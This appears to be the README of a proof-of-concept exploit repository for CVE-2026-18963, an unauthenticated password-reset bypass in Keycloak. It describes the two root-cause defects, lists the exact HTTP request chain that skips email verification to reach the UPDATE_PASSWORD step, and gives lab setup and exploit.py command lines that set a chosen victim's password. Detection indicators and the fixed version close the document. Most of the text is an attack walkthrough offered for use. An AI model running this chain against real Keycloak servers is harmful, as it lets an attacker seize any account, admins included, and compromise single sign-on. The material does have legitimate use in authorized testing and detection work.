
Proof-of-concept exploit for CVE-2026-18963, a critical Keycloak reset-credentials bypass enabling unauthenticated account takeover. Includes lab setup, detection guidance, and remediation steps for authorized testing.
Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email.
This proof of concept is published strictly for educational purposes, defensive research, detection engineering, and authorized security testing.
See DISCLAIMER.md for the full statement.
The password-reset (reset-credentials) flow normally forces you to click a link
emailed to the account owner before you can set a new password. Two defects let an
attacker skip that check entirely:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" not scoped to the
execution ID. Re-entering the flow leaves the authentication session in a
confused/stale state.ResetCredentialEmail.action() calls
context.success() without verifying ACTION_TOKEN_USER_ID (i.e. without
confirming the emailed action token was actually consumed).Chaining them advances the authentication session straight to the
UPDATE_PASSWORD step for an arbitrary user, no email required.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
See docs/ROOTCAUSE.md for the annotated patch diff.
You need Docker and Python 3 with requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Expected tail:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Then log in as victim / Pwned-2026! to confirm the takeover.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Every HTTP response is written to ./dump/ for inspection.
Keycloak already uses 8080, so point Burp's listener at another port (e.g. 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Raw request chain for Burp Repeater is in
requests/burp-chain.txt.
Look for a password change that was not preceded by email verification in the same authentication session:
UPDATE_PASSWORD event without a preceding VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN for that session.reset-credentials requests carrying tryAnotherWay=on.login-actions/reset-credentials for the same tab_id.Chain corroborated against the public Keycloak patch (PR #51844) and community write-ups.
MIT © red-darkin — for educational and authorized testing use only.
| CVE | CVE-2026-18963 |
| Severity | Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Weakness | CWE-640 — Weak Password Recovery Mechanism |
| Affected | Keycloak < 26.7.2 (upstream). Also RH build streams fixed via 26.6.6 / 26.4.15 bundles |
| Fixed | Keycloak 26.7.2 (PR #51844) |
| Preconditions | Forgot password (reset credentials) enabled on the realm — the default |
| Impact | Full account takeover of any user (including realm admins) → IdP compromise + lateral SSO access |